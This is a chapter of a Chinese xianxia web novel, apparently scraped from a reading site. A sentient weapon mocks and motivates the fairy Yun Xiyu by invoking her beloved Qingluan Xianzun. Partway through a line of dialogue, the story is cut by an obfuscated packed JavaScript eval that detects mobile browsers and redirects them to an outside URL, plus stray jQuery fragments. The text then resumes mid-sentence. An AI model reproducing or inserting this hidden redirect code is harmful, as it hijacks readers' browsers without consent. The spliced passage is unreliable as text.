用青峦仙尊来激励云喜雨,效果拔群,这是万相千重刃最近的新发现。本来这小笨瓜就很好拿捏,用上这招以后,简直百试百灵。
修炼是枯燥且痛苦的,为了心爱之人,云喜雨是格外努力,但就算是金刚不坏之身,在这种高压修行下,也会产生几分懈怠和怀疑仙生。
这种时候,只要轻轻在她旁边说一句,青峦仙尊还在受苦受难,云喜雨保管屁股着火一样蹦跶起来,然后嗷嗷叫地猛练不停。
每次这么逗云喜雨,万相千重刃都觉得好玩,目前是没有看腻的。
还不知道自己被当乐子耍,小仙娥每天都在苦哈哈地修炼,身板是越来越结实,眼神也是越来越犀利。
这样的屑眼神是神器要求练的,毕竟要使用他,就不能像个傻瓜一样看着好欺负,得拿出战神的气势,有睥睨天下之姿。
云喜雨对着镜子练习的时候,觉得无害讨喜的自己都变的很屑很讨打。
这天又练得灰头土脸,洗过澡后的云喜雨倒头就睡在山洞铺好的草席上,没一会儿便进入了梦乡。
许是做了噩梦,她蹙起眉头,在草席上辗转反侧,看起来睡得很不安稳。万相千重刃也不喊醒她,就这么旁观。
“青峦仙尊!”
惨叫一声,惊出冷汗的云喜雨坐起,她看着篝火已经熄灭,只余缕缕青烟在飘荡。重新点燃了洞内的火堆,她抱着膝盖坐着烤火,幽怨地看向搭档。
“一定都是前辈你经常说青峦仙尊,我才做噩梦的。”
“关我屁事,是你三句话不离他。”
“我是有这样,但你每次都会说他被魔尊这样那样,所以我就做噩梦了。”
语气没敢带太多情绪,云喜雨只是发出小小的抗议,那把混杂着各种性别年龄的声音又愉快响起。
“梦到什么了?说点细节,刺不刺激?”
“前辈!”
云喜雨涨红了脸嚎叫,根本不是他的对手,捂着耳朵,这次她背对着神器侧躺着睡下。
后半夜没有做梦,她还算睡得踏实,第二天她伸着懒腰起来,看着洞外的好天气。
又是一个春,万物复苏的季节就是让人心情好。
施法给自己收拾干净,她神清气爽地走出去活动筋骨,发现万相千重刃变成的银枪扎在岩峰里。
云喜雨跑过去拔枪,练了这么几十年,总算不会被轻易打掉枪了,下盘也稳了不少,只是动作依旧没有泥巴人那么优雅迅捷。
泥人从地里面聚拢形成,手中也出现一杆长枪,云喜雨眼神一沉,摆起架势对战。
泥人手中的兵器倒是千变万化,这是最近的新花样,这么做的好处就是云喜雨会增加对战多种兵器的经验。
一刻不停地练到夜晚,她早已适应了这种苦修。结束后放下银枪,她走去河边洗澡,搓完了,披散着一头长发,又打算回洞内。
头上有鸟雀飞过,她抬头看去,意外望见满天繁星。
“前辈前辈!”
“前辈!”
一直在没日没夜的修炼,早就忘记去看周围的景色,猛地见着,云喜雨心里涌出一股感慨和放松,她叫喊着冲去洞内。
“你火烧屁股了?”
“不是,你看外面!”
她把立在兵器架上的银枪拿起来,举到了夜空下面,“瞧,好多星星。”
“……”
“不好看吗!”
“大惊小怪。”
云喜雨讪讪的将枪放开,他变成了一枚梅花镖,在半空中漂浮。
“我好像没有用过前辈变的暗器。”
“你连枪都没熟悉,还想解锁别的?”
“那等我练熟了,是不是可以适应别的形态了。”
“嗯。”
她在洞外坐下来,托腮看着星星,疲倦感被美景扫去几分,不着急睡觉。
难得有这份闲心看星星,不过总有人怕她太舒服,坏心眼地提醒着。
“你在看星星的时候,青峦说不定正被严刑拷打,又或者被吃干抹净?”
“啊啊啊啊啊啊!前辈!”
“你觉得他是在被拷打,还是在被占便宜。”
“不要再说啦!”
“你想想嘛,你希望是哪样?希望他忠贞坚守,即使被打残废,也不能失了贞洁?”
“……”
实在是太地狱了,云喜雨立刻就没了闲情雅致,焦虑卷土重来。不过对于这个灵魂质问,她还真有点迟疑了。
开怀大笑的万相千重刃旋转了两圈,变回玉笛回到了她的手里,她看着右手上的笛子,气鼓鼓地问,“又干嘛。”
“不逗你了,吹个小曲试试。”
“可是我不会吹笛子。”
“哎,真没用,我勉为其难地教你吧。”
泥人再次出现,像个老先生那样教云喜雨如何吹笛子,纠正指法,嘴唇对准吹孔,然后她吹出了极其尴尬又难听的一声。
“我吹响了耶。”
“猪也能吹响啊,怎么会这么难听。”
“可我是新手。话说吹笛子有什么用。”
“美妙的声音能带来身心的愉悦,注入灵力以后,有治愈效果,能破除幻境、镇痛驱邪,还能大范围杀敌。”
“哇,好厉害啊!这样也能救青峦仙尊吗?”
“要和随璘打,这个形态不行。”
“那我不学了,还是银枪、剑、刀之类的比较好。”
“啧。”
“呃,前辈你不高兴了?”
“给我学!”
“……可是、可是会耽误修炼的时间吧。”
“累死你也要学,你让我不爽,我就让你救不出他。”
“学学学,我学!我拼死也学!”
看看,用男人威胁恋爱脑,多好用啊。
云喜雨鼓起腮帮子,艰难地吹响笛声,感觉她的气息吹出一半漏出一半,形成的声音实在难以形容,和好听差了十万八千里。
“驴叫也比你吹得好听。”
“我会好好学的,前辈别嫌弃。”
已经嫌弃到极点了,这得到猴年马月才能让笨瓜吹出小曲呢。
沉默的泥人一直在用心去教,也幻化出笛子,吹出来的曲子轻快活泼,让人情绪轻盈欢喜,好像置身在山花烂漫的地方放风筝一样。
云喜雨拍手:“好棒好棒,好听!前辈,这个泥人算是你的分身吗?”
万相千重刃:“差不多吧。”
“那为什么没有脸呢。”
“要什么脸啊,有张嘴吹笛子就行。”
其实不吹笛子的时候,是连嘴巴都没有的,就像一个立体的影子在和云喜雨互动。
“前辈。”
“少废话,快吹。”
“嗷。”
将玉笛横在嘴边,她又深吸一口气,开始折磨人的练习。
万相千重刃:“你吹出来有种……”
云喜雨:“有种什么!是小麻雀的感觉吗?”
万相千重刃:“有种妖怪初具人形,脑子不好使的没救感觉。”
她不问了,问也是自取其辱。
非常用功地吹了半个晚上,她都不睡觉了,就在这琢磨笛子。一根筋的她打算通宵练,还是万相千重刃受不了了,从她嘴下挣脱飞开。
玉笛竖起来敲她脑门三下,“再吹,我都被你送走了,头七都过了!”
云喜雨:“那也应该是唢呐才对。哎,别打别打!我不吹了就是!”
“琵琶会吗?”
“不会。”
“二胡。”
“不会。”
“琴。”
“不会。”
“箫。”
“不会,这些都不会。”
“……你会什么?”
“烧火炼丹,打扫洗衣,煮饭也会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427576|184856||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,毕竟我是负责这些的小仙子啊。”
万相千重刃好似叹了口气,讥讽道:“你还有会的,你没说。”
“什么什么?”她根本想不到对方会这样讲,难道是发现了自己的优点。
“大情种,很会想男人。”
“嘿嘿,谢谢前辈夸奖。我也觉得我很专一。”
“……”他明明是在挖苦。
自顾自在这害羞的云喜雨压根没发现这是讽刺自己的,不吹笛子了,她又有点困意了,打了个哈欠。
“喂,痴儿。”
“嗯?”
“青峦是你的恋人么?还是有婚约在身?”
印象中这好像是神器第一次问自己的私事,云喜雨羞涩地摇头,“怎么会!他那么高高在上,我哪配做他的道侣呀,只是我偷偷心悦仙尊。”
“……他认识你吗?”
“呃,也许不记得了。”
“他见过你吗。”
“那还是见过的啦!”
“所以你俩有什么缘分吗?”
“在万花园看到他赏月,我的手帕被风吹走了,刚好青峦仙尊帮我拾起。”
“然后呢。”
“就没了啊。”
“就这,对方连你名字都不知道,你纯粹上赶着倒贴,要为他出生入死,粉身碎骨?”
万相千重刃麻溜地说完后,自己都震撼了,还有点钦佩这家伙,明明没什么交集,居然为了对方能把命都搭进去。
情种,还是怨种啊。
云喜雨搓着手指,腼腆道:“他虽然清冷,不食人间烟火,可是会给我捡帕子,他好有爱心哦。”
“捡帕子就有爱心?那人间那些捡牛粪的不是大爱无疆了。再说,他说不定捡了几百几千条帕子,你算老几。”
“……”
“他肯定不记得你了,好惨啊,就算这样你也要倒贴。”
被嘲讽的面红耳赤,云喜雨又没法反驳,她盯着自己的鞋尖,弱弱道,“我、我这在人间的说法是一见钟情。”
“分明是见色起意,少给自己贴金了。你的帕子被丑八怪捡到,你能一见钟情?”
“……”
“色小鬼。”
云喜雨再次在败阵,并喜提新称号。
“那个青峦长什么样子?”
“天界第一美!”一提到心上人,云喜雨又隐约亢奋起来,眼睛亮闪闪的,好像很自豪。
“具体点。”
“银色的长发,紫色的眼睛,肤如白雪,眉目如画,鼻子好看,唇形漂亮,他就像天边的霞彩,很梦幻的,呀~”
说着说着,她激动地捂着脸尖叫,软乎乎的脸上飘起红晕。
“想不出,你画一个看看。”
她有点犯难了,拿起树枝在地上尝试描绘,如此认真,如此谨慎,将对方的容颜绘出一二。
玉笛趴在她肩头上看一眼,嬉笑,“他要是长成你画的这乱七八糟的样子,你不会惦记,随璘也不会抢的。”
“对不起!我手残,青峦仙尊的半分风采都没画出来,我有罪,我惭愧,我不配画他,这完全就是在亵渎他!呜呜,我是个大恶人。”
激动的云喜雨将树枝丢开,地上的画也全部扫掉,一脸悲愤自责的样子。仿佛被踩到了什么破防开关一样,整个人都丧丧的。
是啊,他的美,自己又怎么能描摹出分毫,真是该死。
没想到对方还有这阴暗自卑的一面,万相千重刃就静静地看着她情绪起伏,过了一会儿,这人缓过劲了。
“前辈,我困了,已经很晚很晚了。”
“在你想睡觉的时候,说不定青峦正在被魔尊折磨,在他雪白的脸上留下丑陋的疤痕,用火焰烧光他的银白的发丝。”
“啊啊啊啊!我不睡了!日夜修炼,彻底疯狂!”
简单一句话,又激的云喜雨上蹿下跳,万相千重刃只觉得,真好玩。